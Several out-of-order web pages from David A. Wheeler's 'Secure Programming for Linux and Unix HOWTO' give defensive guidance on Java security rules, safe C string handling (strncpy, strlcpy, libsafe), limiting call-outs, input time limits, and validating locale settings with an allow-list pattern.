This book does not discuss how to configure a system (or network) to be secure in a given environment. This is clearly necessary for secure use of a given program, but a great many other documents discuss secure configurations. An excellent general book on configuring Unix-like systems to be secure is Garfinkel [1996]. Other books for securing Unix-like systems include Anonymous [1998]. You can also find information on configuring Unix-like systems at web sites such as http://www.unixtools.com/security.html. Information on configuring a Linux system to be secure is available in a wide variety of documents including Fenzi [1999], Seifried [1999], Wreski [1998], Swan [2001], and Anonymous [1999]. Geodsoft [2001] describes how to harden OpenBSD, and many of its suggestions are useful for any Unix-like system. For Linux systems (and eventually other Unix-like systems), you may want to examine the Bastille Hardening System, which attempts to ``harden'' or ``tighten'' the Linux operating system. You can learn more about Bastille at http://www.bastille-linux.org; it is available for free under the General Public License (GPL). For Windows 2000, you might want to look at Cox [2000]. The U.S. National Security Agency (NSA) maintains a set of security recommendation guides at http://nsa1.www.conxion.com, including the ``60 Minute Network Security Guide.''

Configuring a computer is only part of Security Management, a larger area that also covers how to deal with viruses, what kind of organizational security policy is needed, business continuity plans, and so on. There are international standards and guidance for security management. ISO 13335 is a five-part technical report giving guidance on security management [ISO 13335]. Also, ISO/IEC 17799:2000 defines a code of practice [ISO 17799]; its stated purpose is to ``give recommendations for information security management for use by those who are responsible for initiating, implementing or maintaining security in their organization'' (in a broad brush sense; it's not a technical document). It's worth noting that ISO/IEC 17799:2000 is quite controversial; Belgium, Canada, France, Germany, Italy, Japan and the US voted against its adoption See the NIST's ISO/IEC 17799:2000 FAQ for more information on this controversy. The Commonly Accepted Security Practices & Recommendations (CASPR) project at http://www.caspr.org is trying to distill information security knowledge into a series of papers available to all (under the GNU FDL license, so that future document derivatives will continue to be available to all).

This book assumes that the reader understands computer security issues in general, the general security model of Unix-like systems, networking (in particular TCP/IP based networks), and the C programming language. This book does include some information about the Linux and Unix programming model for security. If you need more information on how TCP/IP based networks and protocols work, including their security protocols, consult general works on TCP/IP such as [Murhammer 1998].

This book covers all Unix-like systems, including Linux and the various strains of Unix, and it particularly stresses Linux and provides details about Linux specifically. There's some material specifically on Windows CE, and in fact much of this material is not limited to a particular operating system. If you know relevant information not already included here, please let me know.

You can find the master copy of this book at http://www.dwheeler.com/secure-programs. This book is also part of the Linux Documentation Project (LDP) at http://www.linuxdoc.org It's also mirrored in several other places. Please note that these mirrors, including the LDP copy and/or the copy in your distribution, may be older than the master copy. I'd like to hear comments on this book, but please do not send comments until you've checked to make sure that your comment is valid for the latest version.

This book is copyright (C) 1999-2001 David A. Wheeler and is covered by the GNU Free Documentation License (GFDL); see Appendix C and Appendix D for more information.

Chapter 2 discusses the background of Unix, Linux, and security. Chapter 3 describes the general Unix and Linux security model, giving an overview of the security attributes and operations of processes, filesystem objects, and so on. This is followed by the meat of this book, a set of design and implementation guidelines for developing applications on Linux and Unix systems. The book ends with conclusions in Chapter 11, followed by a lengthy bibliography and appendixes.

The design and implementation guidelines are divided into categories which I believe emphasize the programmer's viewpoint. Programs accept inputs, process data, call out to other resources, and produce output, as shown in Figure 1-1; notionally all security guidelines fit into one of these categories. I've subdivided ``process data'' into structuring program internals and approach, avoiding buffer overflows (which in some cases can also be considered an input issue), language-specific information, and special topics. The chapters are ordered to make the material easier to follow. Thus, the book chapters giving guidelines discuss validating all input (Chapter 4), avoiding buffer overflows (Chapter 5), structuring program internals and approach (Chapter 6), carefully calling out to other resources (Chapter 7), judiciously sending information back (Chapter 8), language-specific information (Chapter 9), and finally information on special topics such as how to acquire random numbers (Chapter 10).

Figure 1-1. Abstract View of a Program

Prev | Home | Next
Secure Programming for Linux and Unix HOWTO |  | Background


Java

Secure Programming for Linux and Unix HOWTO
Prev Chapter 9. Language-Specific Issues Next

9.6. Java

If you're developing secure programs using Java, frankly your first step (after learning Java) is to read the two primary texts for Java security, namely Gong [1999] and McGraw [1999] (for the latter, look particularly at section 7.1). You should also look at Sun's posted security code guidelines at http://java.sun.com/security/seccodeguide.html. A set of slides describing Java's security model are freely available at http://www.dwheeler.com/javasec. You can also see McGraw [1998].

Obviously, a great deal depends on the kind of application you're developing. Java code intended for use on the client side has a completely different environment (and trust model) than code on a server side. The general principles apply, of course; for example, you must checking and filter any input from an untrusted source. However, in Java there are some ``hidden'' inputs or potential inputs that you need to be wary of, as discussed below. Johnathan Nightingale [2000] made an interesting statement summarizing many of the issues in Java programming:

... the big thing with Java programming is minding your inheritances. If you inherit methods from parents, interfaces, or parents' interfaces, you risk opening doors to your code.

The following are a few key guidelines, based on Gong [1999], McGraw [1999], Sun's guidance, and my own experience:

  1. Do not use public fields or variables; declare them as private and provide accessors to them so you can limit their accessibility.

  2. Make methods private unless there is a good reason to do otherwise (and if you do otherwise, document why). These non-private methods must protect themselves, because they may receive tainted data (unless you've somehow arranged to protect them).

  3. The JVM may not actually enforce the accessibility modifiers (e.g., ``private'') at run-time in an application (as opposed to an applet). My thanks to John Steven (Cigital Inc.), who pointed this out on the ``Secure Programming'' mailing list on November 7, 2000. The issue is that it all depends on what class loader the class requesting the access was loaded with. If the class was loaded with a trusted class loader (including the null/ primordial class loader), the access check returns "TRUE" (allowing access). For example, this works (at least with Sun's 1.2.2 VM ; it might not work with other implementations):

    1. write a victim class (V) with a public field, compile it.

    2. write an 'attack' class (A) that accesses that field, compile it

    3. change V's public field to private, recompile

    4. run A - it'll access V's (now private) field.

    However, the situation is different with applets. If you convert A to an applet and run it as an applet (e.g., with appletviewer or browser), its class loader is no longer a trusted (or null) class loader. Thus, the code will throw java.lang.IllegalAccessError, with the message that you're trying to access a field V.secret from class A.

  4. Avoid using static field variables. Such variables are attached to the class (not class instances), and classes can be located by any other class. As a result, static field variables can be found by any other class, making them much more difficult to secure.

  5. Never return a mutable object to potentially malicious code (since the code may decide to change it). Note that arrays are mutable (even if the array contents aren't), so don't return a reference to an internal array with sensitive data.

  6. Never store user given mutable objects (including arrays of objects) directly. Otherwise, the user could hand the object to the secure code, let the secure code ``check'' the object, and change the data while the secure code was trying to use the data. Clone arrays before saving them internally, and be careful here (e.g., beware of user-written cloning routines).

  7. Don't depend on initialization. There are several ways to allocate uninitialized objects.

  8. Make everything final, unless there's a good reason not to. If a class or method is non-final, an attacker could try to extend it in a dangerous and unforeseen way. Note that this causes a loss of extensibility, in exchange for security.

  9. Don't depend on package scope for security. A few classes, such as java.lang, are closed by default, and some Java Virtual Machines (JVMs) let you close off other packages. Otherwise, Java classes are not closed. Thus, an attacker could introduce a new class inside your package, and use this new class to access the things you thought you were protecting.

  10. Don't use inner classes. When inner classes are translated into byte codes, the inner class is translated into a class accesible to any class in the package. Even worse, the enclosing class's private fields silently become non-private to permit access by the inner class!

  11. Minimize privileges. Where possible, don't require any special permissions at all. McGraw goes further and recommends not signing any code; I say go ahead and sign the code (so users can decide to ``run only signed code by this list of senders''), but try to write the program so that it needs nothing more than the sandbox set of privileges. If you must have more privileges, audit that code especially hard.

  12. If you must sign your code, put it all in one archive file. Here it's best to quote McGraw [1999]:

    The goal of this rule is to prevent an attacker from carrying out a mix-and-match attack in which the attacker constructs a new applet or library that links some of your signed classes together with malicious classes, or links together signed classes that you never meant to be used together. By signing a group of classes together, you make this attack more difficult. Existing code-signing systems do an inadequate job of preventing mix-and-match attacks, so this rule cannot prevent such attacks completely. But using a single archive can't hurt.

  13. Make your classes uncloneable. Java's object-cloning mechanism allows an attacker to instantiate a class without running any of its constructors. To make your class uncloneable, just define the following method in each of your classes:
    public final void clone() throws java.lang.CloneNotSupportedException {
   throw new java.lang.CloneNotSupportedException();
   }

    If you really need to make your class cloneable, then there are some protective measures you can take to prevent attackers from redefining your clone method. If you're defining your own clone method, just make it final. If you're not, you can at least prevent the clone method from being maliciously overridden by adding the following:
    public final void clone() throws java.lang.CloneNotSupportedException {
  super.clone();
  }

  14. Make your classes unserializeable. Serialization allows attackers to view the internal state of your objects, even private portions. To prevent this, add this method to your classes:
    private final void writeObject(ObjectOutputStream out)
  throws java.io.IOException {
     throw new java.io.IOException("Object cannot be serialized");
  }

    Even in cases where serialization is okay, be sure to use the transient keyword for the fields that contain direct handles to system resources and that contain information relative to an address space. Otherwise, deserializing the class may permit improper access. You may also want to identify sensitive information as transient.

    If you define your own serializing method for a class, it should not pass an internal array to any DataInput/DataOuput method that takes an array. The rationale: All DataInput/DataOutput methods can be overridden. If a Serializable class passes a private array directly to a DataOutput(write(byte [] b)) method, then an attacker could subclass ObjectOutputStream and override the write(byte [] b) method to enable him to access and modify the private array. Note that the default serialization does not expose private byte array fields to DataInput/DataOutput byte array methods.

  15. Make your classes undeserializeable. Even if your class is not serializeable, it may still be deserializeable. An attacker can create a sequence of bytes that happens to deserialize to an instance of your class with values of the attacker's choosing. In other words, deserialization is a kind of public constructor, allowing an attacker to choose the object's state - clearly a dangerous operation! To prevent this, add this method to your classes:
    private final void readObject(ObjectInputStream in)
  throws java.io.IOException {
    throw new java.io.IOException("Class cannot be deserialized");
  }

  16. Don't compare classes by name. After all, attackers can define classes with identical names, and if you're not careful you can cause confusion by granting these classes undesirable privileges. Thus, here's an example of the wrong way to determine if an object has a given class:
      if (obj.getClass().getName().equals("Foo")) {

    If you need to determine if two objects have exactly the same class, instead use getClass() on both sides and compare using the == operator, Thus, you should use this form:
      if (a.getClass() == b.getClass()) {
    If you truly need to determine if an object has a given classname, you need to be pedantic and be sure to use the current namespace (of the current class's ClassLoader). Thus, you'll need to use this format:
      if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {

    This guideline is from McGraw and Felten, and it's a good guideline. I'll add that, where possible, it's often a good idea to avoid comparing class values anyway. It's often better to try to design class methods and interfaces so you don't need to do this at all. However, this isn't always practical, so it's important to know these tricks.

  17. Don't store secrets (cryptographic keys, passwords, or algorithm) in the code or data. Hostile JVMs can quickly view this data. Code obfuscation doesn't really hide the code from serious attackers.

Prev | Home | Next
Ada | Up | TCL


Language-Specific Issues

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 9. Language-Specific Issues

Undoubtedly there are all sorts of languages in the world, yet none of them is without meaning.
1 Corinthians 14:10 (NIV)
Table of Contents
9.1. C/C++
9.2. Perl
9.3. Python
9.4. Shell Scripting Languages (sh and csh Derivatives)
9.5. Ada
9.6. Java
9.7. TCL
9.8. PHP

There are many language-specific security issues. Many of them can be summarized as follows:

  • Turn on all relevant warnings and protection mechanisms available to you where practical. For compiled languages, this includes both compile-time mechanisms and run-time mechanisms. In general, security-relevant programs should compile cleanly with all warnings turned on.

  • If you can use a ``safe mode'' (e.g., a mode that limits the activities of the executable), do so. Many interpreted languages include such a mode. In general, don't depend on the safe mode to provide absolute protection; most language's safe modes have not been sufficiently analyzed for their security, and when they are, people usually discover many ways to exploit it. However, by writing your code so that it's secure out of safe mode, and then adding the safe mode, you end up with defense-in-depth (since in many cases, an attacker has to break both your application code and the safe mode).

  • Avoid dangerous and deprecated operations in the language. By ``dangerous'', I mean operations which are difficult to use correctly. For example, many languages include some mechanisms or functions that are ``magical'', that is, they try to infer the ``right'' thing to do using a heuristic - generally you should avoid them, because an attacker may be able to exploit the heuristic and do something dangerous instead of what was intended. A common error is an ``off-by-one'' error, in which the bound is off by one, and sometimes these result in exploitable errors. In general, write code in a way that minimizes the likelihood of off-by-one errors. If there are standard conventions in the language (e.g., for writing loops), use them.

  • Ensure that the languages' infrastructure (e.g., run-time library) is available and secured.

  • Languages that automatically garbage-collect strings should be especially careful to immediately erase secret data (in particular secret keys and passwords).

  • Know precisely the semantics of the operations that you are using. Look up each operation's semantics in its documentation. Do not ignore return values unless you're sure they cannot be relevant. Don't ignore the difference between ``signed'' and ``unsigned'' values. This is particularly difficult in languages which don't support exceptions, like C, but that's the way it goes.

Prev | Home | Next
Prevent Include/Configuration File Access |  | C/C++


Library Solutions in C/C++

Secure Programming for Linux and Unix HOWTO
Prev Chapter 5. Avoid Buffer Overflow Next

5.2. Library Solutions in C/C++

One solution in C/C++ is to use library functions that do not have buffer overflow problems. The first subsection describes the ``standard C library'' solution, which can work but has its disadvantages. The next subsection describes the general security issues of both fixed length and dynamically reallocated approaches to buffers. The following subsections describe various alternative libraries, such as strlcpy and libmib.

5.2.1. Standard C Library Solution

The ``standard'' solution to prevent buffer overflow in C (which is also used in some C++ programs) is to use the standard C library calls that defend against these problems. This approach depends heavily on the standard library functions strncpy(3) and strncat(3). If you choose this approach, beware: these calls have somewhat surprising semantics and are hard to use correctly. The function strncpy(3) does not NIL-terminate the destination string if the source string length is at least equal to the destination's, so be sure to set the last character of the destination string to NIL after calling strncpy(3). If you're going to reuse the same buffer many times, an efficient approach is to tell strncpy() that the buffer is one character shorter than it actually is and set the last character to NIL once before use. Both strncpy(3) and strncat(3) require that you pass the amount of space left available, a computation that is easy to get wrong (and getting it wrong could permit a buffer overflow attack). Neither provide a simple mechanism to determine if an overflow has occurred. Finally, strncpy(3) has a significant performance penalty compared to the strcpy(3) it supposedly replaces, because strncpy(3) NIL-fills the remainder of the destination. I've gotten emails expressing surprise over this last point, but this is clearly stated in Kernighan and Ritchie second edition [Kernighan 1988, page 249], and this behavior is clearly documented in the man pages for Linux, FreeBSD, and Solaris. This means that just changing from strcpy to strncpy can cause a severe reduction in performance, for no good reason in most cases.

Warning!! The function strncpy(s1, s2, n) can also be used as a way of copying only part of s2, where n is less than strlen(s2). When used this way, strncpy() basically provides no protection against buffer overflow by itself - you have to take separate actions to ensure that n is smaller than the buffer of s1. Also, when used this way, strncpy() does not usually add a trailing NIL after copying n characters. This makes it harder to determine if a program using strncpy() is secure.

You can also use sprintf() while preventing buffer overflows, but you need to be careful when doing so; it's so easy to misapply that it's hard to recommend. The sprintf control string can contain various conversion specifiers (e.g., "%s"), and the control specifiers can have optional field width (e.g., "%10s") and precision (e.g., "%.10s") specifications. These look quite similar (the only difference is a period) but they are very different. The field width only specifies a minimum length and is completely worthless for preventing buffer overflows. In contrast, the precision specification specifies the maximum length that that particular string may have in its output when used as a string conversion specifier - and thus it can be used to protect against buffer overflows. Note that the precision specification only specifies the total maximum length when dealing with a string; it has a different meaning for other conversion operations. If the size is given as "*", then you can pass the maximum size as a parameter (e.g., the result of a sizeof() operation). This is most easily shown by an example - here's the wrong and right way to use sprintf() to protect against buffer overflows:
 char buf[BUFFER_SIZE];
 sprintf(buf, "%*s",  sizeof(buf)-1, "long-string");  /* WRONG */
 sprintf(buf, "%.*s", sizeof(buf)-1, "long-string");  /* RIGHT */
In theory, sprintf() should be very helpful because you can use it to specify complex formats. Sadly, it's easy to get things wrong with sprintf(). If the format is complex, you need to make sure that the destination is large enough for the largest possible size of the entire format, but the precision field only controls the size of one parameter. The "largest possible" value is often hard to determine when a complicated output is being created. If a program doesn't allocate quite enough space for the longest possible combination, a buffer overflow vulnerability may open up. Also, sprintf() appends a NUL to the destination after the entire operation is complete - this extra character is easy to forget and creates an opportunity for off-by-one errors. So, while this works, it can be painful to use in some circumstances.

Also, a quick note about the code above - note that the sizeof() operation used the size of an array. If the code were changed so that ``buf'' was a pointer to some allocated memory, then all ``sizeof()'' operations would have to be changed (or sizeof would just measure the size of a pointer, which isn't enough space for most values).

5.2.2. Static and Dynamically Allocated Buffers

Functions such as strncpy are useful for dealing with statically allocated buffers. This is a programming approach where a buffer is allocated for the ``longest useful size'' and then it stays a fixed size from then on. The alternative is to dynamically reallocate buffer sizes as you need them. It turns out that both approaches have security implications.

There is a general security problem when using fixed-length buffers: the fact that the buffer is a fixed length may be exploitable. This is a problem with strncpy(3) and strncat(3), snprintf(3), strlcpy(3), strlcat(3), and other such functions. The basic idea is that the attacker sets up a really long string so that, when the string is truncated, the final result will be what the attacker wanted (instead of what the developer intended). Perhaps the string is catenated from several smaller pieces; the attacker might make the first piece as long as the entire buffer, so all later attempts to concatenate strings do nothing. Here are some specific examples:

  • Imagine code that calls gethostbyname(3) and, if successful, immediately copies hostent->h_name to a fixed-size buffer using strncpy or snprintf. Using strncpy or snprintf protects against an overflow of an excessively long fully-qualified domain name (FQDN), so you might think you're done. However, this could result in chopping off the end of the FQDN. This may be very undesirable, depending on what happens next.

  • Imagine code that uses strncpy, strncat, snprintf, etc., to copy the full path of a filesystem object to some buffer. Further imagine that the original value was provided by an untrusted user, and that the copying is part of a process to pass a resulting computation to a function. Sounds safe, right? Now imagine that an attacker pads a path with a large number of '/'s at the beginning. This could result in future operations being performed on the file ``/''. If the program appends values in the belief that the result will be safe, the program may be exploitable. Or, the attacker could devise a long filename near the buffer length, so that attempts to append to the filename would silently fail to occur (or only partially occur in ways that may be exploitable).

When using statically-allocated buffers, you really need to consider the length of the source and destination arguments. Sanity checking the input and the resulting intermediate computation might deal with this, too.

Another alternative is to dynamically reallocate all strings instead of using fixed-size buffers. This general approach is recommended by the GNU programming guidelines, since it permits programs to handle arbitrarily-sized inputs (until they run out of memory). Of course, the major problem with dynamically allocated strings is that you may run out of memory. The memory may even be exhausted at some other point in the program than the portion where you're worried about buffer overflows; any memory allocation can fail. Also, since dynamic reallocation may cause memory to be inefficiently allocated, it is entirely possible to run out of memory even though technically there is enough virtual memory available to the program to continue. In addition, before running out of memory the program will probably use a great deal of virtual memory; this can easily result in ``thrashing'', a situation in which the computer spends all its time just shuttling information between the disk and memory (instead of doing useful work). This can have the effect of a denial of service attack. Some rational limits on input size can help here. In general, the program must be designed to fail safely when memory is exhausted if you use dynamically allocated strings.

5.2.3. strlcpy and strlcat

An alternative, being employed by OpenBSD, is the strlcpy(3) and strlcat(3) functions by Miller and de Raadt [Miller 1999]. This is a minimalist, statically-sized buffer approach that provides C string copying and concatenation with a different (and less error-prone) interface. Source and documentation of these functions are available under a newer BSD-style open source license at ftp://ftp.openbsd.org/pub/OpenBSD/src/lib/libc/string/strlcpy.3.

First, here are their prototypes:
size_t strlcpy (char *dst, const char *src, size_t size);
size_t strlcat (char *dst, const char *src, size_t size);
Both strlcpy and strlcat take the full size of the destination buffer as a parameter (not the maximum number of characters to be copied) and guarantee to NIL-terminate the result (as long as size is larger than 0). Remember that you should include a byte for NIL in the size.

The strlcpy function copies up to size-1 characters from the NUL-terminated string src to dst, NIL-terminating the result. The strlcat function appends the NIL-terminated string src to the end of dst. It will append at most size - strlen(dst) - 1 bytes, NIL-terminating the result.

One minor disadvantage of strlcpy(3) and strlcat(3) is that they are not, by default, installed in most Unix-like systems. In OpenBSD, they are part of <string.h>. This is not that difficult a problem; since they are small functions, you can even include them in your own program's source (at least as an option), and create a small separate package to load them. You can even use autoconf to handle this case automatically. If more programs use these functions, it won't be long before these are standard parts of Linux distributions and other Unix-like systems. Also, these functions have been recently added to the ``glib'' library (I submitted the patch to do this), so using recent versions of glib makes them available. In glib these functions are named g_strlcpy and g_strlcat (not strlcpy or strlcat) to be consistent with the glib library naming conventions.

Also, strlcat(3) has slightly varying semantics when the provided size is 0 or if there are no NIL characters in the destination string dst (inside the given number of characters). In OpenBSD, if the size is 0, then the destination string's length is considered 0. Also, if size is nonzero, but there are no NIL characters in the destination string (in the size number of characters), then the length of the destination is considered equal to the size. These rules make handling strings without embedded NILs consistent. Unfortunately, at least Solaris doesn't (at this time) obey these rules, because they weren't specified in the original documentation. I've talked to Todd Miller, and he and I agree that the OpenBSD semantics are the correct ones (and that Solaris is incorrect). The reasoning is simple: under no condition should strlcat or strlcpy ever examine characters in the destination outside of the range of size; such access might cause core dumps (from accessing out-of-range memory) and even hardware interactions (through memory-mapped I/O). Thus, given:
  a = strlcat ("Y", "123", 0);
The correct answer is 3 (0+3=3), but Solaris will claim the answer is 4 because it incorrectly looks at characters beyond the "size" length in the destination. For now, I suggest avoiding cases where the size is 0 or the destination has no NIL characters. Future versions of glib will hide this difference and always use the OpenBSD semantics.

5.2.4. libmib

One toolset for C that dynamically reallocates strings automatically is the ``libmib allocated string functions'' by Forrest J. Cavalier III, available at http://www.mibsoftware.com/libmib/astring. There are two variations of libmib; ``libmib-open'' appears to be clearly open source under its own X11-like license that permits modification and redistribution, but redistributions must choose a different name, however, the developer states that it ``may not be fully tested.'' To continuously get libmib-mature, you must pay for a subscription. The documentation is not open source, but it is freely available.

5.2.5. C++ std::string class

C++ developers can use the std::string class, which is built into the language. This is a dynamic approach, as the storage grows as necessary. However, it's important to note that if that class's data is turned into a ``char *'' (e.g., by using data() or c_str()), the possibilities of buffer overflow resurface, so you need to be careful when when using such methods. Note that c_str() always returns a NIL-terminated string, but data() may or may not (it's implementation dependent, and most implementations do not include the NIL terminator). Avoid using data(), and if you must use it, don't be dependent on its format.

Many C++ developers use other string libraries as well, such as those that come with other large libraries or even home-grown string libraries. With those libraries, be especially careful - many alternative C++ string classes include routines to automatically convert the class to a ``char *'' type. As a result, they can silently introduce buffer overflow vulnerabilities.

5.2.6. Libsafe

Arash Baratloo, Timothy Tsai, and Navjot Singh (of Lucent Technologies) have developed Libsafe, a wrapper of several library functions known to be vulnerable to stack smashing attacks. This wrapper (which they call a kind of ``middleware'') is a simple dynamically loaded library that contains modified versions of C library functions such as strcpy(3). These modified versions implement the original functionality, but in a manner that ensures that any buffer overflows are contained within the current stack frame. Their initial performance analysis suggests that this library's overhead is very small. Libsafe papers and source code are available at http://www.bell-labs.com/org/11356/libsafe.html. The Libsafe source code is available under the completely open source LGPL license, and there are indications that many Linux distributors are interested in using it.

Libsafe's approach appears somewhat useful. Libsafe should certainly be considered for inclusion by Linux distributors, and its approach is worth considering by others as well. For example, I know that the Mandrake distribution of Linux (version 7.1) includes it. However, as a software developer, Libsafe is a useful mechanism to support defense-in-depth but it does not really prevent buffer overflows. Here are several reasons why you shouldn't depend just on Libsafe during code development:

  • Libsafe only protects a small set of known functions with obvious buffer overflow issues. At the time of this writing, this list is significantly shorter than the list of functions in this book known to have this problem. It also won't protect against code you write yourself (e.g., in a while loop) that causes buffer overflows.

  • Even if libsafe is installed in a distribution, the way it is installed impacts its use. The documentation recommends setting LD_PRELOAD to cause libsafe's protections to be enabled, but the problem is that users can unset this environment variable... causing the protection to be disabled for programs they execute!

  • Libsafe only protects against buffer overflows of the stack onto the return address; you can still overrun the heap or other variables in that procedure's frame.

  • Unless you can be assured that all deployed platforms will use libsafe (or something like it), you'll have to protect your program as though it wasn't there.

  • LibSafe seems to assume that saved frame pointers are at the beginning of each stack frame. This isn't always true. Compilers (such as gcc) can optimize away things, and in particular the option "-fomit-frame-pointer" removes the information that libsafe seems to need. Thus, libsafe may fail to work for some programs.

The libsafe developers themselves acknowledge that software developers shouldn't just depend on libsafe. In their words:

It is generally accepted that the best solution to buffer overflow attacks is to fix the defective programs. However, fixing defective programs requires knowing that a particular program is defective. The true benefit of using libsafe and other alternative security measures is protection against future attacks on programs that are not yet known to be vulnerable.

5.2.7. Other Libraries

The glib (not glibc) library is a widely-available open source library that provides a number of useful functions for C programmers. GTK+ and GNOME both use glib, for example. As I noted earlier, in glib version 1.3.2, g_strlcpy() and g_strlcat() have been added through a patch which I submitted. This should make it easier to portably use those functions once these later versions of glib become widely available. At this time I do not have an analysis showing definitively that the glib library functions protect against buffer overflows. However, many of the glib functions automatically allocate memory, and those functions automatically fail with no reasonable way to intercept the failure (e.g., to try something else instead). As a result, in many cases most glib functions cannot be used in most secure programs. The GNOME guidelines recommend using functions such as g_strdup_printf(), which is fine as long as it's okay if your program immediately crashes if an out-of-memory condition occurs. However, if you can't accept this, then using such routines isn't appropriate.

Prev | Home | Next
Dangers in C/C++ | Up | Compilation Solutions in C/C++


Limit Call-outs to Valid Values

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.2. Limit Call-outs to Valid Values

Ensure that any call out to another program only permits valid and expected values for every parameter. This is more difficult than it sounds, because many library calls or commands call lower-level routines in potentially surprising ways. For example, many system calls are implemented indirectly by calling the shell, which means that passing characters which are shell metacharacters can have dangerous effects. So, let's discuss metacharacters.

Prev | Home | Next
Call Only Safe Library Routines | Up | Handle Metacharacters


Limit Valid Input Time and Load Level

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.13. Limit Valid Input Time and Load Level

Place time-outs and load level limits, especially on incoming network data. Otherwise, an attacker might be able to easily cause a denial of service by constantly requesting the service.

Prev | Home | Next
Counter SPAM | Up | Avoid Buffer Overflow


Secure Programming for Linux and Unix HOWTO

This book is Copyright (C) 1999-2002 David A. Wheeler. Permission is granted to copy, distribute and/or modify this book under the terms of the GNU Free Documentation License (GFDL), Version 1.1 or any later version published by the Free Software Foundation; with the invariant sections being ``About the Author'', with no Front-Cover Texts, and no Back-Cover texts. A copy of the license is included in the section entitled "GNU Free Documentation License". This book is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Home


Human Language (Locale) Selection

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.7. Human Language (Locale) Selection

As more people have computers and the Internet available to them, there has been increasing pressure for programs to support multiple human languages and cultures. This combination of language and other cultural factors is usually called a ``locale''. The process of modifying a program so it can support multiple locales is called ``internationalization'' (i18n), and the process of providing the information for a particular locale to a program is called ``localization'' (l10n).

Overall, internationalization is a good thing, but this process provides another opportunity for a security exploit. Since a potentially untrusted user provides information on the desired locale, locale selection becomes another input that, if not properly protected, can be exploited.

4.7.1. How Locales are Selected

In locally-run programs (including setuid/setgid programs), locale information is provided by an environment variable. Thus, like all other environment variables, these values must be extracted and checked against valid patterns before use.

For web applications, this information can be obtained from the web browser (via the Accept-Language request header). However, since not all web browsers properly pass this information (and not all users configure their browsers properly), this is used less often than you might think. Often, the language requested in a web browser is simply passed in as a form value. Again, these values must be checked for validity before use, as with any other form value.

In either case, locale information is really just a special case of input discussed in the previous sections. However, because this input is so rarely considered, I'm discussing it separately. In particular, when combined with format strings (discussed later), user-controlled strings can permit attackers to force other programs to run arbitrary instructions, corrupt data, and do other unfortunate actions.

4.7.2. Locale Support Mechanisms

There are two major library interfaces for supporting locale-selected messages on Unix-like systems, one called ``catgets'' and the other called ``gettext''. In the catgets approach, every string is assigned a unique number, which is used as an index into a table of messages. In contrast, in the gettext approach, a string (usually in English) is used to look up a table that translates the original string. catgets(3) is an accepted standard (via the X/Open Portability Guide, Volume 3 and Single Unix Specification), so it's possible your program uses it. The ``gettext'' interface is not an official standard, (though it was originally a UniForum proposal), but I believe it's the more widely used interface (it's used by Sun and essentially all GNU programs).

In theory, catgets should be slightly faster, but this is at best marginal on today's machines, and the bookkeeping effort to keep unique identifiers valid in catgets() makes the gettext() interface much easier to use. I'd suggest using gettext(), just because it's easier to use. However, don't take my word for it; see GNU's documentation on gettext (info:gettext#catgets) for a longer and more descriptive comparison.

The catgets(3) call (and its associated catopen(3) call) in particular is vulnerable to security problems, because the environment variable NLSPATH can be used to control the filenames used to acquire internationalized messages. The GNU C library ignores NLSPATH for setuid/setgid programs, which helps, but that doesn't protect programs running on other implementations, nor other programs (like CGI scripts) which don't ``appear'' to require such protection.

The widely-used ``gettext'' interface is at least not vulnerable to a malicious NLSPATH setting to my knowledge. However, it appears likely to me that malicious settings of LC_ALL or LC_MESSAGES could cause problems. Also, if you use gettext's bindtextdomain() routine in its file cat-compat.c, that does depend on NLSPATH.

4.7.3. Legal Values

For the moment, if you must permit untrusted users to set information on their desired locales, make sure the provided internationalization information meets a narrow filter that only permits legitimate locale names. For user programs (especially setuid/setgid programs), these values will come in via NLSPATH, LANGUAGE, LANG, the old LINGUAS, LC_ALL, and the other LC_* values (especially LC_MESSAGES, but also including LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, and LC_TIME). For web applications, this user-requested set of language information would be done via the Accept-Language request header or a form value (the application should indicate the actual language setting of the data being returned via the Content-Language heading). You can check this value as part of your environment variable filtering if your users can set your environment variables (i.e., setuid/setgid programs) or as part of your input filtering (e.g., for CGI scripts). The GNU C library "glibc" doesn't accept some values of LANG for setuid/setgid programs (in particular anything with "/"), but errors have been found in that filtering (e.g., Red Hat released an update to fix this error in glibc on September 1, 2000). This kind of filtering isn't required by any standard, so you're safer doing this filtering yourself. I have not found any guidance on filtering language settings, so here are my suggestions based on my own research into the issue.

First, a few words about the legal values of these settings. Language settings are generally set using the standard tags defined in IETF RFC 1766 (which uses two-letter country codes as its basic tag, followed by an optional subtag separated by a dash; I've found that environment variable settings use the underscore instead). However, some find this insufficiently flexible, so three-letter country codes may soon be used as well. Also, there are two major not-quite compatible extended formats, the X/Open Format and the CEN Format (European Community Standard); you'd like to permit both. Typical values include ``C'' (the C locale), ``EN'' (English''), and ``FR_fr'' (French using the territory of France's conventions). Also, so many people use nonstandard names that programs have had to develop ``alias'' systems to cope with nonstandard names (for GNU gettext, see /usr/share/locale/locale.alias, and for X11, see /usr/lib/X11/locale/locale.alias; you might need "aliases" instead of "alias"); they should usually be permitted as well. Libraries like gettext() have to accept all these variants and find an appropriate value, where possible. One source of further information is FSF [1999]; another source is the li18nux.org web site. A filter should not permit characters that aren't needed, in particular ``/'' (which might permit escaping out of the trusted directories) and ``..'' (which might permit going up one directory). Other dangerous characters in NLSPATH include ``%'' (which indicates substitution) and ``:'' (which is the directory separator); the documentation I have for other machines suggests that some implementations may use them for other values, so it's safest to prohibit them.

4.7.4. Bottom Line

In short, I suggest simply erasing or re-setting the NLSPATH, unless you have a trusted user supplying the value. For the Accept-Language heading in HTTP (if you use it), form values specifying the locale, and the environment variables LANGUAGE, LANG, the old LINGUAS, LC_ALL, and the other LC_* values listed above, filter the locales from untrusted users to permit null (empty) values or to only permit values that match in total this regular expression (note that I've recently added "="):
 [A-Za-z][A-Za-z0-9_,+@\-\.=]*
I haven't found any legitimate locale which doesn't match this pattern, but this pattern does appear to protect against locale attacks. Of course, there's no guarantee that there are messages available in the requested locale, but in such a case these routines will fall back to the default messages (usually in English), which at least is not a security problem.

If you wish to be really picky, and only patterns that match li18nux's locale pattern, you can use this pattern instead:
 ^[A-Za-z]+(_[A-Za-z]+)?
